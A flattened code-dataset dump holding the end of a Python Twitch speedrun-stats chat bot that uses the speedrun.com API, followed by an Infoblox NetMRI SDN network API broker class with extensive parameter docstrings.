str(seconds) + "s" elif minutes[0] > 0: pb = str(minutes[0]) + "m " + str(seconds) + "s" else: pb = str(seconds) + "s" sendMessage(s, CHANNEL, username.title() + "\'s " + category_title + " PB is " + pb + " (" + ordinal(place) + " place).") cooldown() elif category_title == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def lastPB(input): if input == message.lower().split()[0]: SRC_USERNAME = '' for i in channel_list: if CHANNEL in i: SRC_USERNAME = i.split(":")[1].strip('\n') break else: SRC_USERNAME = ADMIN category_specified = False try: message.split()[2] except IndexError as err: pass else: category_specified = True #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform_title = PLATFORMS[i][0] break category_title = None if category_specified == True: category_title = message.lower().strip('!lastpb ') first_word = category_title.lower().split()[0] category_title = category_title.split(first_word, 1)[-1].strip() check = False for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() == category_title: check = True category_title = CATEGORIES[i][0] break if check == False: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return elif category_specified == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category_title = CATEGORIES[i][0] break if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return username = None try: message.split()[1] except IndexError as err: username = SRC_USERNAME else: username = message.split()[1] if category_title != None: try: response = urlopen('https://www.speedrun.com/api/v1/users/{}/personal-bests?embed=category,game,platform'.format(username)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "Error: Speedrun.com user not found") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) place = None time_in_sec = None for cat in lst['data']: if cat['category']['data']['name'].lower() == category_title.lower() and cat['game']['data']['abbreviation'].lower() == game and cat['platform']['data']['name'].lower() == platform_title.lower(): place = cat['place'] date = cat['run']['date'] break if place == None: sendMessage(s, CHANNEL, username.title() + " currently does not have a PB for " + category_title + " on the leaderboard.") cooldown() return sendMessage(s, CHANNEL, username.title() + " last PBed in " + category_title + " on " + date + ".") cooldown() elif category_title == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def runs(input): if input == message.lower().split()[0]: SRC_USERNAME = '' for i in channel_list: if CHANNEL in i: SRC_USERNAME = i.split(":")[1].strip('\n') break else: SRC_USERNAME = ADMIN #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform_title = PLATFORMS[i][0] break if game == None: sendMessage(s, CHANNEL, "Error: No game info found") cooldown() return username = None try: message.split()[1] except IndexError as err: username = SRC_USERNAME else: username = message.split()[1] try: response = urlopen('https://www.speedrun.com/api/v1/users/{}/personal-bests?embed=game,platform,category&game={}'.format(username, game)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "Error: Speedrun.com user not found") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) ordinal = lambda n: "%d%s" % (n,"tsnrhtdd"[(math.floor(n/10)%10!=1)*(n%10<4)*n%10::4]) place = None time_in_sec = None list_of_runs = [] if lst['data'] != []: pass else: sendMessage(s, CHANNEL, username.title() + " has no submitted runs for the current game.") cooldown() return for run in lst['data']: #if run['platform']['data']['name'].lower() == platform_title.lower(): time_in_sec = int(run['run']['times']['realtime_t']) place = run['place'] category_title = run['category']['data']['name'] hours = divmod(time_in_sec, 3600) minutes = divmod(hours[1], 60) seconds = minutes[1] pb = '' if hours[0] > 0: pb = str(hours[0]) + "h " + str(minutes[0]) + "m " + str(seconds) + "s" elif minutes[0] > 0: pb = str(minutes[0]) + "m " + str(seconds) + "s" else: pb = str(seconds) + "s" #add run to the list to be printed list_of_runs.append(category_title + " in " + pb + " (" + ordinal(place) + ")") game_title = lst['data'][0]['game']['data']['names']['international'] run_message = username.title() + "\'s " + game_title + " PBs: " + ", ".join(list_of_runs) + "." if len(run_message) < 500: sendMessage(s, CHANNEL, run_message) elif len(run_message) < 1000: run_message1 = run_message[0:500] run_message2 = run_message[500:] sendMessage(s, CHANNEL, run_message1) sendMessage(s, CHANNEL, run_message2) cooldown() else: sendMessage(s, CHANNEL, "This user's list of PBs is too long. Go look it up.") cooldown() #Tells user the leaderboard standing of the channel owner, or a specified user def place(input): if input == message.lower().split()[0]: SRC_USERNAME = '' for i in channel_list: if CHANNEL in i: SRC_USERNAME = i.split(":")[1].strip('\n') break else: SRC_USERNAME = ADMIN category_specified = False try: message.split()[2] except IndexError as err: pass else: category_specified = True username = None try: message.split()[1] except IndexError as err: username = SRC_USERNAME else: username = message.split()[1] #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) game, platform, platform_title = getGame(USER_ID) if '[' in title and ']' in title: for i in range(len(PLATFORMS)): if PLATFORMS[i][0].lower() == title.split('[')[1].split(']')[0]: platform_title = PLATFORMS[i][0] break category_title = None if category_specified == True: category_title = message.lower().strip('!place ') first_word = category_title.lower().split()[0] category_title = category_title.split(first_word, 1)[-1].strip() check = False for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() == category_title: check = True category_title = CATEGORIES[i][0] break if check == False: sendMessage(s, CHANNEL, "Error: Invalid category specified") cooldown() return elif category_specified == False: for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category_title = CATEGORIES[i][0] break if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category_title != None: try: response = urlopen('https://www.speedrun.com/api/v1/users/{}/personal-bests?embed=category,game,platform'.format(username)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "Error: Speedrun.com user not found") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) place = None time_in_sec = None for cat in lst['data']: if cat['category']['data']['name'].lower() == category_title.lower() and cat['game']['data']['abbreviation'].lower() == game and cat['platform']['data']['name'].lower() == platform_title.lower(): time_in_sec = int(cat['run']['times']['realtime_t']) place = cat['place'] break if place == None: sendMessage(s, CHANNEL, username.title() + " currently does not have a PB for " + category_title + " on the leaderboard.") cooldown() return ordinal = lambda n: "%d%s" % (n,"tsnrhtdd"[(math.floor(n/10)%10!=1)*(n%10<4)*n%10::4]) sendMessage(s, CHANNEL, username.title() + " is in " + ordinal(place) + " place for " + category_title + ".") elif category_title == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def leaderboard(input): if input == message.lower().strip(): #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) game, platform, platform_title = getGame(USER_ID) game_title = None for i in range(len(GAMES)): if GAMES[i][1] == game: game_title = GAMES[i][0] break category = None category_title = None for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category = CATEGORIES[i][1] category_title = CATEGORIES[i][0] break if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category != None: sendMessage(s, CHANNEL, game_title + " " + category_title + " Leaderboard: https://www.speedrun.com/{}#{}".format(game, category)) cooldown() return elif category == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def listRules(input): if input == message.lower().strip(): #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) game, platform, platform_title = getGame(USER_ID) game_title = None for i in range(len(GAMES)): if GAMES[i][1] == game: game_title = GAMES[i][0] break category = None category_title = None for i in range(len(CATEGORIES)): if CATEGORIES[i][0].lower() in title: category = CATEGORIES[i][1] category_title = CATEGORIES[i][0] break if game == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return if category != None: try: response = urlopen('https://www.speedrun.com/api/v1/games/{}/categories'.format(game)) except urllib.error.HTTPError as err: sendMessage(s, CHANNEL, "HTTP Error") cooldown() return readable = response.read().decode('utf-8') lst = loads(readable) rules = ' ' for cat in lst['data']: if cat['name'].lower() == category_title.lower(): rules = cat['rules'].split('\r\n') for rule in rules: rule = rule.strip('-') list_of_rules = ' '.join(rules) sendMessage(s, CHANNEL, game_title + " " + category_title + " rules: " + list_of_rules) cooldown() return elif category == None: sendMessage(s, CHANNEL, "Error: No game/category info found in stream title") cooldown() return def listGames(input): if input == message.lower().strip(): sendMessage(s, CHANNEL, "Games currently supported: " + ", ".join([game[0] for game in GAMES])) cooldown() return #Returns a kadgar.net link with the channel owner and the other racers if a race is happening def raceCommand(input): if input == message.lower().strip(): #get user ID of current channel try: USER_ID = getUserID(CHANNEL) except LookupError as err: sendMessage(s, CHANNEL, "User not found") cooldown() return #get title of current channel title = getStreamTitle(USER_ID) if 'race with' in title: pass elif 'race with' not in title: sendMessage(s, CHANNEL, CHANNEL.title() + " is not currently racing or no racers found in stream title.") cooldown() return title_list = title.split() r = title_list.index('with') + 1 contenders = [] length = len(title_list) diff = length - r while True: contenders.append(title_list[r].strip(',')) diff = diff - 1 r = r + 1 if diff == 0: break sendMessage(s, CHANNEL, "Race link: http://kadgar.net/live/" + CHANNEL + "/" + "/".join(contenders)) cooldown() #Displays commands def getCommands(input): if input == message.strip().lower(): sendMessage(s, CHANNEL, '/me commands: !wr • !2nd • !3rd • !4th • !5th • !pb • !lastpb • !runs • !place • !leaderboard • !rules • !race • !games • !help') cooldown() #Documentation def docs(input): if input == message.lower().strip(): sendMessage(s, CHANNEL, "speedrunb0t's documentation can be found here: https://dechrissen.github.io/speedrunb0t/#bot-commands") cooldown() #Global cooldown def cooldown(): if user == ADMIN or user == CHANNEL: pass elif user: abort_after = COOLDOWN start = time.time() while True: delta = time.time() - start if delta >= abort_after: break #Checks if a message is from Twitch or a user def Console(line): if "PRIVMSG" in line: return False else: return True #Quits the bot program (admin only) def quitCommand(input): if input == message.strip().lower() and user == ADMIN: sendMessage(s, ADMIN, "/me has disconnected.") #for chan in channel_list: #chan = chan.split(":")[0] #if chan != ADMIN: #sendMessage(s, chan, "/me [Disconnected]") quit() elif input == message.strip(): sendMessage(s, CHANNEL, "@" + user.title() + " Only the Administrator may use the !kill command.") cooldown() s = openSocket() joinRoom(s) readbuffer = "" with open("channels.txt", "r") as f: channel_list = f.readlines() for chan in channel_list: chan = chan.split(":")[0] if chan != ADMIN: s.send(("JOIN #" + chan + "\r\n").encode()) #sendMessage(s, chan, "/me [Connected]") while True: readbuffer = s.recv(1024) readbuffer = readbuffer.decode() temp = readbuffer.split("\n") readbuffer = readbuffer.encode() readbuffer = temp.pop() for line in temp: try: print(line) except OSError as err: print('OSError: Invalid symbol') continue if "PING" in line and Console(line): msgg = "PONG tmi.twitch.tv\r\n".encode() s.send(msgg) print(msgg) break if ".tmi.twitch.tv" in line and Console(line): break user = getUser(line) message = getMessage(line) CHANNEL = getChannel(line) if '!' not in message and '$' not in message: continue print(user + " said: " + message) #Chat commands getCommands('!commands') worldRecord('!wr') worldRecord('!1st') second('!2nd') third('!3rd') fourth('!4th') fifth('!5th') personalBest('!pb') lastPB('!lastpb') runs('!runs') place('!place') leaderboard('!leaderboard') listRules('!rules') listGames('!games') raceCommand('!race') setSRCName('!setsrcname') docs('!help') joinChannel('$invite') addChannel('!addchannel') channels('!channels') quitCommand('!kill') continue

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e8d60ce7886685b9d361abd82b81c21ee2c199ad

31,150

py

Python

infoblox_netmri/api/broker/v3_6_0/sdn_network_broker.py

IngmarVG-IB/infoblox-netmri

b0c725fd64aee1890d83917d911b89236207e564

[ "Apache-2.0" ]

null

infoblox_netmri/api/broker/v3_6_0/sdn_network_broker.py

IngmarVG-IB/infoblox-netmri

b0c725fd64aee1890d83917d911b89236207e564

[ "Apache-2.0" ]

null

infoblox_netmri/api/broker/v3_6_0/sdn_network_broker.py

IngmarVG-IB/infoblox-netmri

b0c725fd64aee1890d83917d911b89236207e564

[ "Apache-2.0" ]

null

from ..broker import Broker class SdnNetworkBroker(Broker): controller = "sdn_networks" def index(self, **kwargs): """Lists the available sdn networks. Any of the inputs listed may be be used to narrow the list; other inputs will be ignored. Of the various ways to query lists, using this method is most efficient. **Inputs** | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param sdn_network_id: The internal NetMRI identifier for this network :type sdn_network_id: Array of Integer | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param sdn_network_key: The unique identifier of each network at the SDN controller side :type sdn_network_key: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of sdn network methods. The listed methods will be called on each sdn network returned and included in the output. Available methods are: fabric_handle. :type methods: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` sdn_network_id :param sort: The data field(s) to use for sorting the output. Default is sdn_network_id. Valid values are sdn_network_id, sdn_network_key, sdn_network_name, fabric_id, virtual_network_id, StartTime, EndTime. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each SdnNetwork. Valid values are sdn_network_id, sdn_network_key, sdn_network_name, fabric_id, virtual_network_id, StartTime, EndTime. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return sdn_networks: An array of the SdnNetwork objects that match the specified input criteria. :rtype sdn_networks: Array of SdnNetwork """ return self.api_list_request(self._get_method_fullname("index"), kwargs) def search(self, **kwargs): """Lists the available sdn networks matching the input criteria. This method provides a more flexible search interface than the index method, but searching using this method is more demanding on the system and will not perform to the same level as the index method. The input fields listed below will be used as in the index method, to filter the result, along with the optional query string and XML filter described below. **Inputs** | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param EndTime: The ending date/time of this network :type EndTime: Array of DateTime | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param StartTime: The starting date/time of this network :type StartTime: Array of DateTime | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param fabric_id: Identifier of SdnSetting from which this network was collected :type fabric_id: Array of Integer | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param sdn_network_id: The internal NetMRI identifier for this network :type sdn_network_id: Array of Integer | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param sdn_network_key: The unique identifier of each network at the SDN controller side :type sdn_network_key: Array of String | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param sdn_network_name: Name of SDN network :type sdn_network_name: Array of String | ``api version min:`` 3.4 | ``api version max:`` None | ``required:`` False | ``default:`` None :param virtual_network_id: ID of Virtual Network which is assigned to this network :type virtual_network_id: Array of Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of sdn network methods. The listed methods will be called on each sdn network returned and included in the output. Available methods are: fabric_handle. :type methods: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` sdn_network_id :param sort: The data field(s) to use for sorting the output. Default is sdn_network_id. Valid values are sdn_network_id, sdn_network_key, sdn_network_name, fabric_id, virtual_network_id, StartTime, EndTime. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each SdnNetwork. Valid values are sdn_network_id, sdn_network_key, sdn_network_name, fabric_id, virtual_network_id, StartTime, EndTime. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param query: This value will be matched against sdn networks, looking to see if one or more of the listed attributes contain the passed value. You may also surround the value with '/' and '/' to perform a regular expression search rather than a containment operation. Any record that matches will be returned. The attributes searched are: EndTime, StartTime, fabric_id, sdn_network_id, sdn_network_key, sdn_network_name, virtual_network_id. :type query: String | ``api version min:`` 2.3 | ``api version max:`` None | ``required:`` False | ``default:`` None :param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering. :type xml_filter: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return sdn_networks: An array of the SdnNetwork objects that match the specified input criteria. :rtype sdn_networks: Array of SdnNetwork """ return self.api_list_request(self._get_method_fullname("search"), kwargs) def find(self, **kwargs): """Lists the available sdn networks matching the input specification. This provides the most flexible search specification of all the query mechanisms, enabling searching using comparison operations other than equality. However, it is more complex to use and will not perform as efficiently as the index or search methods. In the input descriptions below, 'field names' refers to the following fields: EndTime, StartTime, fabric_id, sdn_network_id, sdn_network_key, sdn_network_name, virtual_network_id. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_EndTime: The operator to apply to the field EndTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. EndTime: The ending date/time of this network For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_EndTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_EndTime: If op_EndTime is specified, the field named in this input will be compared to the value in EndTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_EndTime must be specified if op_EndTime is specified. :type val_f_EndTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_EndTime: If op_EndTime is specified, this value will be compared to the value in EndTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_EndTime must be specified if op_EndTime is specified. :type val_c_EndTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_StartTime: The operator to apply to the field StartTime. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. StartTime: The starting date/time of this network For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_StartTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_StartTime: If op_StartTime is specified, the field named in this input will be compared to the value in StartTime using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_StartTime must be specified if op_StartTime is specified. :type val_f_StartTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_StartTime: If op_StartTime is specified, this value will be compared to the value in StartTime using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_StartTime must be specified if op_StartTime is specified. :type val_c_StartTime: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_fabric_handle: The operator to apply to the field fabric_handle. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. fabric_handle: Name of SDN controller from which this network was collected. For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_fabric_handle: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_fabric_handle: If op_fabric_handle is specified, the field named in this input will be compared to the value in fabric_handle using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_fabric_handle must be specified if op_fabric_handle is specified. :type val_f_fabric_handle: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_fabric_handle: If op_fabric_handle is specified, this value will be compared to the value in fabric_handle using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_fabric_handle must be specified if op_fabric_handle is specified. :type val_c_fabric_handle: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_fabric_id: The operator to apply to the field fabric_id. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. fabric_id: Identifier of SdnSetting from which this network was collected For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_fabric_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_fabric_id: If op_fabric_id is specified, the field named in this input will be compared to the value in fabric_id using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_fabric_id must be specified if op_fabric_id is specified. :type val_f_fabric_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_fabric_id: If op_fabric_id is specified, this value will be compared to the value in fabric_id using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_fabric_id must be specified if op_fabric_id is specified. :type val_c_fabric_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_sdn_network_id: The operator to apply to the field sdn_network_id. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. sdn_network_id: The internal NetMRI identifier for this network For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_sdn_network_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_sdn_network_id: If op_sdn_network_id is specified, the field named in this input will be compared to the value in sdn_network_id using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_sdn_network_id must be specified if op_sdn_network_id is specified. :type val_f_sdn_network_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_sdn_network_id: If op_sdn_network_id is specified, this value will be compared to the value in sdn_network_id using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_sdn_network_id must be specified if op_sdn_network_id is specified. :type val_c_sdn_network_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_sdn_network_key: The operator to apply to the field sdn_network_key. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. sdn_network_key: The unique identifier of each network at the SDN controller side For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_sdn_network_key: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_sdn_network_key: If op_sdn_network_key is specified, the field named in this input will be compared to the value in sdn_network_key using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_sdn_network_key must be specified if op_sdn_network_key is specified. :type val_f_sdn_network_key: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_sdn_network_key: If op_sdn_network_key is specified, this value will be compared to the value in sdn_network_key using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_sdn_network_key must be specified if op_sdn_network_key is specified. :type val_c_sdn_network_key: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_sdn_network_name: The operator to apply to the field sdn_network_name. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. sdn_network_name: Name of SDN network For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_sdn_network_name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_sdn_network_name: If op_sdn_network_name is specified, the field named in this input will be compared to the value in sdn_network_name using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_sdn_network_name must be specified if op_sdn_network_name is specified. :type val_f_sdn_network_name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_sdn_network_name: If op_sdn_network_name is specified, this value will be compared to the value in sdn_network_name using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_sdn_network_name must be specified if op_sdn_network_name is specified. :type val_c_sdn_network_name: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param op_virtual_network_id: The operator to apply to the field virtual_network_id. Valid values are: =, <>, rlike, not rlike, >, >=, <, <=, like, not like, is null, is not null, between. virtual_network_id: ID of Virtual Network which is assigned to this network For the between operator the value will be treated as an Array if comma delimited string is passed, and it must contain an even number of values. :type op_virtual_network_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_f_virtual_network_id: If op_virtual_network_id is specified, the field named in this input will be compared to the value in virtual_network_id using the specified operator. That is, the value in this input will be treated as another field name, rather than a constant value. Either this field or val_c_virtual_network_id must be specified if op_virtual_network_id is specified. :type val_f_virtual_network_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param val_c_virtual_network_id: If op_virtual_network_id is specified, this value will be compared to the value in virtual_network_id using the specified operator. The value in this input will be treated as an explicit constant value. Either this field or val_f_virtual_network_id must be specified if op_virtual_network_id is specified. :type val_c_virtual_network_id: String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of sdn network methods. The listed methods will be called on each sdn network returned and included in the output. Available methods are: fabric_handle. :type methods: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 0 :param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information. :type start: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` 1000 :param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000. :type limit: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` sdn_network_id :param sort: The data field(s) to use for sorting the output. Default is sdn_network_id. Valid values are sdn_network_id, sdn_network_key, sdn_network_name, fabric_id, virtual_network_id, StartTime, EndTime. :type sort: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` asc :param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'. :type dir: Array of String | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param select: The list of attributes to return for each SdnNetwork. Valid values are sdn_network_id, sdn_network_key, sdn_network_name, fabric_id, virtual_network_id, StartTime, EndTime. If empty or omitted, all attributes will be returned. :type select: Array | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_field: The field name for NIOS GOTO that is used for locating a row position of records. :type goto_field: String | ``api version min:`` 2.8 | ``api version max:`` None | ``required:`` False | ``default:`` None :param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records. :type goto_value: String | ``api version min:`` 2.3 | ``api version max:`` None | ``required:`` False | ``default:`` None :param xml_filter: A SetFilter XML structure to further refine the search. The SetFilter will be applied AFTER any search query or field values, but before any limit options. The limit and pagination will be enforced after the filter. Remind that this kind of filter may be costly and inefficient if not associated with a database filtering. :type xml_filter: String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return sdn_networks: An array of the SdnNetwork objects that match the specified input criteria. :rtype sdn_networks: Array of SdnNetwork """ return self.api_list_request(self._get_method_fullname("find"), kwargs) def show(self, **kwargs): """Shows the details for the specified sdn network. **Inputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` True | ``default:`` None :param sdn_network_id: The internal NetMRI identifier for this network :type sdn_network_id: Integer | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :param methods: A list of sdn network methods. The listed methods will be called on each sdn network returned and included in the output. Available methods are: fabric_handle. :type methods: Array of String **Outputs** | ``api version min:`` None | ``api version max:`` None | ``required:`` False | ``default:`` None :return sdn_network: The sdn network identified by the specified sdn_network_id. :rtype sdn_network: SdnNetwork """ return self.api_request(self._get_method_fullname("show"), kwargs)

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0.894635

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31,150

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52.886248

0.857143

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1

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null

0

1

0

8

fa1be20499b0c2d83b7d14122d502f70c10a238e

166

py

Python

ai_coin_identifier/views.py

JohnGWebDev/coinloggr

